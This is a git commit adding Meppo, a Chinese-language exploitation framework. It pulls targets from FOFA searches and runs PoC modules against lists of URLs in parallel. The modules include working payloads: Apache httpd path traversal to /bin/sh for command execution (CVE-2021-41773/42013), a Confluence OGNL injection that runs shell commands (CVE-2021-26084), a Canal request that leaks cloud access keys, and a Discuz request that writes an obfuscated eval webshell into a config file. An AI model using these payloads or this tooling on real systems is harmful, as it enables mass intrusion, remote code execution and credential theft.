Meppo 正式开源

This commit is contained in:
RabbitMask
2022-03-22 18:03:05 +08:00
parent 3b00767663
commit 1c6d5ff098
132 changed files with 5345 additions and 0 deletions

19
Config/config_api.py Normal file
View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
########################################################################################################################
# Seek 配置信息
FOFA_EAMIL=''
FOFA_API_KEY=''
# 300¥会员最高设置为1001000¥会员最高设置为10000但可能会很慢自行调整
FOFA_SIZE=3
########################################################################################################################

53
Config/config_banner.py Normal file
View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import random
from Moudle.Moudle_index import PAYLOAD_NUM, MOUDLE_NUM
Version = 'V 1.0'
info = '\n\t\t漏洞利用框架 Meppo | By WingsSec | {}\n'.format(Version)
NUM='\t\t [ {} MOUDLES\t\t{} PAYLOADS ]'.format(str(MOUDLE_NUM).center(3),str(PAYLOAD_NUM).center(3))
banner1 = r'''
__ __
| \/ | ___ _ __ _ __ ___
| |\/| |/ _ \ '_ \| '_ \ / _ \
| | | | __/ |_) | |_) | (_) |
|_| |_|\___| .__/| .__/ \___/
|_| |_|
{}{}'''.format(info,NUM)
banner2 = r'''
_____
/ \ ____ ______ ______ ____
/ \ / \_/ __ \\____ \\____ \ / _ \
/ Y \ ___/| |_> > |_> > <_> )
\____|__ /\___ > __/| __/ \____/
\/ \/|__| |__|
{}{}'''.format(info,NUM)
banner3 = r'''
__ ___
/ |/ /__ ____ ____ ____
/ /|_/ / _ \/ __ \/ __ \/ __ \
/ / / / __/ /_/ / /_/ / /_/ /
/_/ /_/\___/ .___/ .___/\____/
/_/ /_/
{}{}'''.format(info,NUM)
bannerlist = [banner1, banner2, banner3]
def Banner():
print(bannerlist[random.randrange(len(bannerlist))])
if __name__ == '__main__':
Banner()

View File

@@ -0,0 +1,69 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import time
import csv
#列表打印装饰器
def Print_info(fun):
def work(*args,**kwargs):
res=fun(*args, **kwargs)
if res:
if isinstance(res, str):
print(res)
elif isinstance(res, list):
for i in res:
print(i.replace('\n',''))
else:
pass
return fun(*args, **kwargs)
return work
# 结果导出装饰器
# 保存文件类型为.rabbit因为我不希望这个结果被记事本草率地打开
# 因为可能会乱,/哭唧唧推荐notepad++、SublimeText、VScode等。
def Save_info(fun):
def work(*args,**kwargs):
result=(fun(*args, **kwargs))
if result:
timetoken = str(int(time.time()))
filename='Output/{}_result_{}.rabbit'.format(fun.__name__,timetoken)
for i in result:
try:
fw = open(filename, 'a')
fw.write(i.replace('\n','') + '\n')
fw.close()
except:
pass
print('结果已保存至:'+filename)
# return fun(*args, **kwargs)
return work
def Save_Csv(fun):
def work(*args,**kwargs):
result=(fun(*args, **kwargs))
if result:
timetoken = str(int(time.time()))
filename='Output/{}_result_{}.csv'.format(fun.__name__,timetoken)
with open(filename, 'a') as f:
head = ['host','ip','port','country','city','server','title']
writer = csv.writer(f)
# 写入一行数据
writer.writerow(head)
# 写入多行数据
for i in result:
writer.writerow(list(i.values()))
print('结果已保存至:'+filename)
# return fun(*args, **kwargs)
return work

19
Config/config_logging.py Normal file
View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import logging
logging.basicConfig(filename='Meppo.log',
format='%(asctime)s %(message)s',
filemode="a", level=logging.INFO)
def loglog(log):
logging.info(log)

15
Config/config_port.py Normal file
View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
# 协议默认字典配置
HTTP_PORT=['80']
HTTPS_PORT=['443','8443']

78
Config/config_requests.py Normal file
View File

@@ -0,0 +1,78 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
# from fake_useragent import UserAgent
#
# # 实例化 UserAgent 类
# ua = UserAgent(verify_ssl=False)
#
# # 通用headers配置
# headers={"User-Agent":ua.random}
#
# if __name__ == '__main__':
# print(headers)
import random
ua=random.choice([
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36",
"Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14"])
headers={"User-Agent":ua}
if __name__ == '__main__':
print(headers)

View File

@@ -0,0 +1,73 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import datetime
from multiprocessing import Pool, Manager
from Tools.ReBuild import get_payload
from Config.config_logging import loglog
from Moudle.Moudle_index import *
def urlcheck(url):
if 'http' in url:
return url
else:
return ('http://'+str(url))
def get_urls(file):
f=open(file,'r')
r=f.readlines()
f.close()
res=[]
for i in r:
res.append(urlcheck(i).replace('\n',''))
return res
def record_res(dic):
if dic:
res='['+datetime.datetime.now().strftime('%X')+'] '
for key in dic:
value = dic[key]
res=res+str(key)+' : '+str(value)+'\t'
print(res)
loglog(res)
def pocs(target,moudle,q):
q.put(target)
return eval(moudle).poc(target)
def poolmana(moudle,urls):
p = Pool(30)
q = Manager().Queue()
print('任务加载数量:'+str(len(urls)))
for i in urls:
p.apply_async(pocs, args=(i,moudle,q,),callback=record_res)
p.close()
p.join()
def run_poc(*args):
if len(args)==2:
if isinstance(args[1],str):
record_res(eval(args[0]).poc(urlcheck(args[1])))
elif isinstance(args[1], list):
poolmana(args[0], args[1])
def run_moudle(*args):
if len(args)==2:
if isinstance(args[1],str):
for i in get_payload(args[0]):
record_res(eval(i[0]).poc(urlcheck(args[1])))
elif isinstance(args[1], list):
for i in get_payload(args[0]):
poolmana(i[0], args[1])
if __name__ == '__main__':
run_poc('zabbix_admin',"http://127.0.0.1")

55
Framework/console_list.py Normal file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
from Tools.ReBuild import get_moudle, get_payload
def get_cn_number(char):
count = 0
for item in char:
if 0x4E00 <= ord(item) <= 0x9FA5:
count += 1
return count
def moudle_list():
list=get_moudle()
print('【Moudle List】'.center(30))
print('================================')
for i in list:
print('--------------------------------')
print('|{}|'.format(i.center(30-get_cn_number(i))))
print('================================')
def payload_list(moudle):
list=get_payload(moudle)
print('【Payload List】'.center(110))
print('==================================================================================================================')
print('|{}|{}|{}|'.format('Moudle'.center(20),'Payload'.center(30), 'Remark'.center(60)))
for i in list:
print('------------------------------------------------------------------------------------------------------------------')
print('|{}|{}|{}|'.format(moudle.center(20),i[0].center(30-get_cn_number(i[0])),i[1].center(60-get_cn_number(i[1]))))
print('==================================================================================================================')
def payload_list_all():
print('【Payload List】'.center(110))
print('==================================================================================================================')
print('|{}|{}|{}|'.format('Moudle'.center(20),'Payload'.center(30), 'Remark'.center(60)))
for i in get_moudle():
list = get_payload(i)
for j in list:
print('------------------------------------------------------------------------------------------------------------------')
print('|{}|{}|{}|'.format(i.center(20-get_cn_number(i)),j[0].center(30-get_cn_number(j[0])),j[1].center(60-get_cn_number(j[1]))))
print('==================================================================================================================')
if __name__ == '__main__':
payload_list_all()

79
Framework/console_main.py Normal file
View File

@@ -0,0 +1,79 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import argparse
from Framework import console_attack
from Seek import fofaapi
from Framework.console_attack import get_urls
from Framework.console_list import moudle_list, payload_list, payload_list_all
from Moudle.Moudle_index import *
def Console():
parser = argparse.ArgumentParser()
M_POC = parser.add_argument_group('漏洞检测模块')
M_SEEK = parser.add_argument_group('资产爬取模块')
########################################################################################################################
parser.add_argument("-l", dest='list',help="list",action='store_true')
parser.add_argument("-ll", dest='listall',help="list all",action='store_true')
parser.add_argument("-m", dest='moudle',help="moudle")
parser.add_argument("-u", dest='url',help="target url")
parser.add_argument("-f", dest='file',help="the file of target list")
#漏洞检测模块
M_POC.add_argument("-poc", dest='poc',help="漏洞检测")
#资产爬取模块
M_SEEK.add_argument("-fofa", dest='fofa',help="资产爬取")
M_SEEK.add_argument("-num", dest='num',help="资产数量")
args = parser.parse_args()
########################################################################################################################
if args.fofa:
if args.num and int(args.num) > 10000:
print("Num Don't > 10000 PLS~")
else:
fofaapi.run(args.fofa, 1000)
elif args.poc:
try:
if args.url:
console_attack.run_poc(args.poc, args.url)
elif args.file:
console_attack.run_poc(args.poc, get_urls(args.file))
else:
print("Usage:\n\tpython Meppo.py -poc xxx -u http:xxx\n\tpython Meppo.py -poc xxx -f target.txt")
except:
print("Usage:\n\tpython Meppo.py -poc xxx -u http:xxx\n\tpython Meppo.py -poc xxx -f target.txt")
elif args.moudle:
try:
if args.list:
payload_list(args.moudle)
elif args.url:
console_attack.run_moudle(args.moudle, args.url)
elif args.file:
console_attack.run_moudle(args.moudle, get_urls(args.file))
else:
print("Usage:\n\tpython Meppo.py -m -l\n\tpython Meppo.py -m xxx -u http:xxx\n\tpython Meppo.py -m -f target.txt")
except:
print("Usage:\n\tpython Meppo.py -m -l\n\tpython Meppo.py -m xxx -u http:xxx\n\tpython Meppo.py -m -f target.txt")
elif args.list:
moudle_list()
elif args.listall:
payload_list_all()
else:
print("Usage:\n\tStep 1: python Meppo.py -l\n\tStep 2: python Meppo.py -m xxx -l\n\tStep 3: python Meppo.py -m / -poc \n\t")
########################################################################################################################

23
Meppo.py Normal file
View File

@@ -0,0 +1,23 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
from time import sleep
from Tools.ReBuild import Rebuild
Rebuild()
sleep(1)
from Config.config_banner import Banner
from Framework.console_main import Console
if __name__ == '__main__':
Banner()
Console()

View File

@@ -0,0 +1,30 @@
# Alibaba Canal config 云密钥信息泄露漏洞
## 漏洞描述
由于/api/v1/canal/config 未进行权限验证可直接访问导致账户密码、accessKey、secretKey等一系列敏感信息泄露
## 漏洞影响
> [!NOTE]
>
> Alibaba Canal
## FOFA
> [!NOTE]
>
> title="Canal Admin"
## 漏洞复现
验证漏洞的Url为
```
/api/v1/canal/config/1/0
```
![image-20210827144737848](images/image-20210827144737848.png)
其中泄露了 aliyun.access 密钥,可以控制密钥下的所有服务器

View File

@@ -0,0 +1,33 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME = 'Alibaba_Canal_Info_Leak'
AUTHOR = "JDQ"
REMARK = 'Alibaba Canal config 云密钥信息泄露漏洞'
FOFA_RULE = 'title="Canal Admin"'
######################################################
def poc(target):
headers={
"User-Agent":ua
}
try:
r = requests.get(target+"/api/v1/canal/config/1/0",headers=headers, verify=False)
if r.status_code == 200 and 'aliyun' in r.text:
return(r.text)
except :
pass
if __name__ == '__main__':
poc("127.0.0.1")

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

View File

@@ -0,0 +1,49 @@
# 漏洞简述
Apache 中间件http服务存在目录穿越漏洞如果文档根目录以外的文件不受`require all denied`保护,则攻击者可以访问这些文件。
![image](C:\Users\jie\Downloads\image.png)
# 影响范围
2.4.49---CVE-2021-41773
2.4.50---CVE-2021-42013
# 漏洞复现
需要apahce开着mod_cgi如下图
![img](https://cdn.nlark.com/yuque/0/2021/png/21923359/1633937873113-96d33f3b-0b70-4b2a-9170-80df1d93d0d9.png)
POST包2.4.49版本):
```java
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Content-Length: 7
echo;id
```
使用cgi目录穿越到/bin/bash可以执行bash命令即可实现RCE
POST包2.4.50版本):
2.4.50版本的漏洞与2.4.49版本是一个位置,只是官方修复不严格,而出现的一次绕过,对比一下,发现是对.的URL编码中的2和e再次做了一次URL编码
**注2.4.50版本暂未找到环境测试验证网上流传的是用的这个poc下方脚本中的2.4.50版本的部分也是未实际做验证**
```
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Content-Length: 7
echo;id
```
# poc
编写脚本时遇到一个坑用burp测试没有问题的poc即URL部分Python请求有问题大概内容为Your browser sent a request that this server could not understand. 最终一点点测试用wireshark对请求抓包发现是Python请求时会自动先做一次URL解码但却不对%25解码所以就有了下面的poc与上面burp的poc对比一下就明白了。

View File

@@ -0,0 +1,52 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME1='CVE-2021-41773'
NAME2='CVE-2021-42013'
AUTHOR="境心"
REMARK='Apache httpd 目录穿越漏洞'
FOFA_RULE='body="it works"'
######################################################
def poc(target):
result = {}
url = target+"/cgi-bin/"
res = requests.get(url, headers=headers, verify=False, timeout=5)
try:
banner = res.headers['server']
except:
banner = ""
data = "echo; id"
if banner != "" and "Apache/2.4.49" in banner:
# target_url = url + ".%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh"
# 坑点在这
target_url = url + ".%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
target_res = requests.post(target_url, headers=headers, data=data, verify=False, timeout=5)
if "uid" in target_res.text and "gid" in target_res.text and "groups" in target_res.text:
result['CVE'] = NAME1
result['target_url'] = url
return result
if banner != "" and "Apache/2.4.50" in banner:
target_url = target + "/cgi-bin/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/bin/sh"
target_res = requests.post(target_url, headers=headers, data=data, verify=False, timeout=5)
if "uid" in target_res.text and "gid" in target_res.text and "groups" in target_res.text:
result['CVE'] = NAME2
result['target_url'] = url
return result
if __name__ == '__main__':
# poc调用
poc("http://127.0.0.1:8080")

View File

@@ -0,0 +1,43 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import headers
from bs4 import BeautifulSoup
########################################################################################################################
# 脚本信息
NAME='CVE_2021_26084'
AUTHOR="Trans"
REMARK='Confluence OGNL注入RCE'
FOFA_RULE=''
########################################################################################################################
def poc(target):
result={}
url = target + "/pages/createpage-entervariables.action?SpaceKey=x"
session = requests.Session()
try:
cmd = "echo goodluckboy"
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(url, headers=headers, data=xpl_data)
soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
if 'goodluckboy' in queryStringValue:
result["target"] = target
result["poc"] = NAME
result["url"] = url
return
else:
pass
except:
pass
if __name__ == '__main__':
poc("127.0.0.1")

42
Moudle/Demo/Demo.py Normal file
View File

@@ -0,0 +1,42 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import headers
requests.packages.urllib3.disable_warnings()
########################################################################################################################
# 脚本信息
NAME='Demo'
AUTHOR="RabbitMask"
REMARK='robots.txt敏感信息泄露'
FOFA_RULE='对应漏洞框架的fofa语法'
########################################################################################################################
# 漏洞检测模块
def poc(target):
result={}
try:
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
if "Disallow" in req.text:
result['target'] = target
result['poc'] = NAME
result['xxx'] = '按需求随便写,删了都行'
return result
except:
pass
########################################################################################################################
#以上为模板限制区域,以下为自由发挥区域
########################################################################################################################
# 漏洞利用模块
def exp(target):
try:
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
if "Disallow" in req.text:
print(req.text)
except:
pass
if __name__ == '__main__':
exp('http://127.0.0.1')

42
Moudle/Demo/Test.py Normal file
View File

@@ -0,0 +1,42 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import headers
requests.packages.urllib3.disable_warnings()
########################################################################################################################
# 脚本信息
NAME='Test'
AUTHOR="RabbitMask"
REMARK='万能test'
FOFA_RULE=''
########################################################################################################################
# 漏洞检测模块
def poc(target):
result={}
try:
req = requests.get(target+'/admin/login/user.properties', headers=headers, timeout=3, verify=False)
result['target'] = target
result['poc'] = NAME
result['status'] = req.status_code
result['text'] = req.text
return result
except:
pass
########################################################################################################################
#以上为模板限制区域,以下为自由发挥区域
########################################################################################################################
# 漏洞利用模块
def exp(target):
try:
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
if "Disallow" in req.text:
print(req.text)
except:
pass
if __name__ == '__main__':
exp('http://127.0.0.1')

View File

@@ -0,0 +1,89 @@
# 1、漏洞描述
discuz! X系列的全版本其产品升级/转换的功能存在漏洞可利用构造的恶意语句将shell写入到config.inc.php配置文件从而实现getshell。
# 2、影响范围
discuz! X系列全版本
# 3、漏洞复现
漏洞利用的文件为utility/convert/index.php选择其中一个版本点击开始抓取下一个页面的提交请求。
![](images/image-20210903135314303.png)
![](images/image-20210903135652209.png)
修改请求包的POST内容为如下主要是修改红框中的内容
![](images/image-20210903135909982.png)
```
POST /Discuz_X3.2_SC_GBK/utility/convert/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 236
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/Discuz_X3.2_SC_GBK/utility/convert/index.php?a=config&source=d7.2_x2.0
Upgrade-Insecure-Requests: 1
a=config&source=d7.2_x2.0&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(112).CHR(104).CHR(112).CHR(105).CHR(110).CHR(102).CHR(111).CHR(40).CHR(41).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaaaaaa
```
提交之后相应的shell就写入到了/utility/convert/data/config.inc.php文件中后面用蚁剑、冰蝎什么的连就可以了。
